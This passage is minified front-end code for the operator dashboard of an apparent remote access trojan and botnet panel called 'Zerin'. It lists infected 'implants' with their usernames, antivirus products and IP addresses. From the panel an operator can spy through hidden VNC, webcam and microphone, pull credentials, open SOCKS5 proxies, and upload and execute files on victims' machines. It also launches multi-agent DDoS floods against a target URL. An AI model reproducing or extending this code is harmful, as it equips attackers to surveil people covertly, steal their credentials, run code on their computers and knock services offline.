tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:jU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:kU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-red-500 hover:bg-red-600\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const k2={alive:0,stale:1,dead:2};function NU(e,t,n){let r=0;switch(n.column){case"status":r=(k2[e.status]??3)-(k2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=So(e.os).localeCompare(So(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const SU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function zU(){const e=dr(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState("online"),[h,x]=p.useState({x:0,y:0,visible:!1}),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState(null),[_,A]=p.useState("Zerin"),[O,P]=p.useState(""),[I,U]=p.useState(new Set),[D,M]=p.useState(!1),[F,R]=p.useState(!1),[W,$]=p.useState(""),[H,X]=p.useState(""),[se,ue]=p.useState(!1),[ge,xe]=p.useState(null),Y=p.useRef(null),ee=p.useRef(null),C=p.useRef(null),K=p.useCallback(async()=>{try{const E=await lj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{K()},[K]);const{lastMessage:ne}=p.useContext(ld);p.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(oe=>{const J=oe.findIndex(pe=>pe.id===E.id);if(J>=0){const pe=[...oe];return pe[J]=E,pe}return[E,...oe]}),b(oe=>oe&&oe.id===E.id?E:oe)}},[ne]),p.useEffect(()=>{const E=setInterval(K,15e3);return()=>clearInterval(E)},[K]),p.useEffect(()=>()=>{Y.current&&clearTimeout(Y.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},ie=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),we=[...l==="all"?ie:ie.filter(E=>E.status===l)].sort((E,oe)=>NU(E,oe,u)),_e=t.filter(E=>E.status==="alive"||E.status==="stale").length,L=t.filter(E=>E.status==="dead").length;function de(E){d(oe=>({column:E,direction:oe.column===E&&oe.direction==="asc"?"desc":"asc"}))}function q(E){c(oe=>oe===E&&E!=="all"?"all":E)}function te(E){if(Y.current){clearTimeout(Y.current),Y.current=null,e(`/agents/${E.id}`);return}Y.current=setTimeout(()=>{Y.current=null,b(E)},250)}function me(E,oe){E.preventDefault(),y(oe),x({x:E.clientX,y:E.clientY,visible:!0})}function V(E,oe){var G;if(!g)return;const J=g.id,pe=g.hostname,be=oe==null?void 0:oe.action,ke=oe==null?void 0:oe.tab;if(x(re=>({...re,visible:!1})),y(null),be==="chat"){j(g);return}if(be==="confirm"){S({command:E,agentId:J,hostname:pe});return}if(be==="msgbox"){z({agentId:J,hostname:pe}),A("Zerin"),P("");return}if(be==="vnc"){gx(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(be==="hvnc"){uj(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(be==="webcam"){dj(J).then(()=>{const re=rt(),ae=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(be==="mic"){fj(J).then(()=>{const re=rt(),ae=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&<.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(be==="socks5"){pj(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(be==="execute_upload"){C.current=J,(G=ee.current)==null||G.click();return}if(be==="ban"){const re=t.find(We=>We.id===J),ae=re==null?void 0:re.banned,Oe=ae?`Unban agent ${pe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${pe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(ae?IE:LE)(J).then(()=>{n(We=>We.map(pn=>pn.id===J?{...pn,banned:!ae}:pn))}).catch(()=>o(`Failed to ${ae?"unban":"ban"} agent`));return}if(be==="remove"){if(!confirm(`Remove agent ${pe} (${J.slice(0,8)})? This cannot be undone.`))return;cj(J).then(()=>{n(re=>re.filter(ae=>ae.id!==J))}).catch(()=>o("Failed to remove agent"));return}(be==="submit"||be==="screenshot")&&E!=="creds"&&Ee(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ke&&e(`/agents/${J}?tab=${ke}${E==="creds"?"&auto=1":""}`)}function Z(){x(E=>({...E,visible:!1})),y(null)}async function fe(E){var ke,G,re;const oe=(ke=E.target.files)==null?void 0:ke[0];if(E.target.value="",!oe||!C.current)return;const J=C.current;C.current=null;const pe=oe.name,be=`C:\\Windows\\Temp\\${pe}`;try{const ae=await oe.arrayBuffer(),Oe=Array.from(new Uint8Array(ae)),{task_id:lt}=await Ee(J,{command:"upload",args:[be],data:Oe});let We=!1;for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(G=(await Un(J)).results)==null?void 0:G.find(Yn=>Yn.task_id===lt);if(qn){if(qn.error)throw new Error(qn.error);We=!0;break}}if(!We)throw new Error("Upload timed out");const{task_id:pn}=await Ee(J,{command:"execute",args:[be]});for(let Zt=0;Zt<30;Zt++){await new Promise(Yn=>setTimeout(Yn,2e3));const qn=(re=(await Un(J)).results)==null?void 0:re.find(Yn=>Yn.task_id===pn);if(qn){if(qn.error)throw new Error(qn.error);alert(`Executed ${pe} on agent`);return}}alert(`File uploaded & execute command sent (${pe})`)}catch(ae){o(`Execute file failed: ${ae instanceof Error?ae.message:"unknown error"}`)}}return s.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[s.jsx("input",{ref:ee,type:"file",className:"hidden",onChange:fe}),s.jsxs("div",{className:"mb-6",children:[s.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[s.jsx(Yl,{label:"Total",value:B.total,active:l==="all",onClick:()=>q("all")}),s.jsx(Yl,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>q("alive")}),s.jsx(Yl,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>q("stale")}),s.jsx(Yl,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>q("dead")})]}),s.jsx(bU,{agents:t}),s.jsxs("div",{className:"flex items-center justify-between mb-4",children:[s.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[s.jsxs("button",{onClick:()=>{m("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:_e})]}),f==="online"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),s.jsxs("button",{onClick:()=>{m("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[s.jsxs("span",{className:"flex items-center gap-2",children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",s.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:L})]}),f==="offline"&&s.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&L>0&&s.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${L} dead agent(s)? This cannot be undone.`))return;const E=t.filter(oe=>oe.status==="dead").map(oe=>oe.id);try{await ME(E),n(oe=>oe.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):a?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:s.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:a}),s.jsxs("button",{onClick:K,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):we.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:s.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?s.jsxs(s.Fragment,{children:[s.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):s.jsxs(s.Fragment,{children:[s.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&s.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[s.jsx("span",{className:"text-zerin-text font-medium",children:we.length})," ",f," agent",we.length!==1?"s":"",l!=="all"&&s.jsxs("span",{className:"ml-1",children:["· filtered by ",s.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm text-left",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-bg-alt",children:[s.jsx("th",{className:"px-3 py-3 w-[40px]",children:s.jsx("input",{type:"checkbox",checked:we.length>0&&we.filter(E=>E.status!=="dead").every(E=>I.has(E.id)),onChange:E=>{E.target.checked?U(new Set(we.filter(oe=>oe.status!=="dead").map(oe=>oe.id))):U(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),SU.map(E=>s.jsx("th",{onClick:()=>de(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:s.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,s.jsx(CU,{column:E.key,sort:u})]})},E.key))]})}),s.jsx("tbody",{className:"bg-zerin-panel",children:we.map(E=>s.jsxs("tr",{onClick:()=>te(E),onContextMenu:oe=>me(oe,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[s.jsx("td",{className:"px-3 py-3",onClick:oe=>oe.stopPropagation(),children:E.status!=="dead"&&s.jsx("input",{type:"checkbox",checked:I.has(E.id),onChange:oe=>{U(J=>{const pe=new Set(J);return oe.target.checked?pe.add(E.id):pe.delete(E.id),pe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx(sd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&s.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),s.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),s.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&s.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:So(E.os)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),s.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:No(E.last_seen),children:Vc(E.last_seen)})]},E.id))})]})})})]}),I.size>0&&s.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[s.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[I.size," agent",I.size!==1?"s":""," selected"]}),s.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),s.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r text-red-400 bg-red-500/10 border border-red-500/20\r hover:bg-red-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),s.jsxs("button",{onClick:()=>R(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r text-orange-400 bg-orange-500/10 border border-orange-500/20\r hover:bg-orange-500/20 transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),s.jsx("button",{onClick:()=>U(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),D&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),s.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx(VS,{agentIds:[...I]})]})}),F&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>R(!1),children:s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),s.jsx("button",{onClick:()=>R(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:s.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"p-6 space-y-4",children:[s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",I.size," agent",I.size!==1?"s":""]}),ge&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${ge.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:ge.text}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),s.jsx("input",{type:"text",value:W,onChange:E=>$(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),s.jsx("input",{type:"text",value:H,onChange:E=>X(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),s.jsxs("button",{onClick:async()=>{if(W.trim()){ue(!0),xe(null);try{const E=[W.trim()];H.trim()&&H.trim().split(/\s+/).forEach(be=>E.push(be));const J=(await Promise.allSettled([...I].map(be=>Ee(be,{command:"execute",args:E})))).filter(be=>be.status==="fulfilled").length,pe=I.size;xe(J===pe?{text:`Sent to ${pe} agent${pe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${pe} agents (${pe-J} failed)`,type:J>0?"ok":"err"})}catch(E){xe({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:se||!W.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[se?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",I.size>1?` (${I.size})`:""]})]})]})}),s.jsx(t_,{x:h.x,y:h.y,visible:h.visible,onAction:V,onClose:Z,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),s.jsx(yj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),s.jsx(r_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&s.jsx(PU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const oe=v.tags??[];n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:E}:pe)),b(J=>J&&{...J,tags:E});try{await RE(v.id,E)}catch{n(J=>J.map(pe=>pe.id===v.id?{...pe,tags:oe}:pe)),b(J=>J&&{...J,tags:oe}),o("Failed to update tags")}}})}),k&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[k.command==="restart"?"Restart":"Shutdown"," PC"]}),s.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",k.command," ",s.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname}),"?",k.command==="shutdown"&&" The agent will go offline."]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{Ee(k.agentId,{command:k.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${k.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:k.command==="restart"?"Restart":"Shutdown"})]})]})}),N&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[s.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",s.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname})]}),s.jsxs("div",{className:"space-y-3 mb-6",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),s.jsx("input",{type:"text",value:_,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text 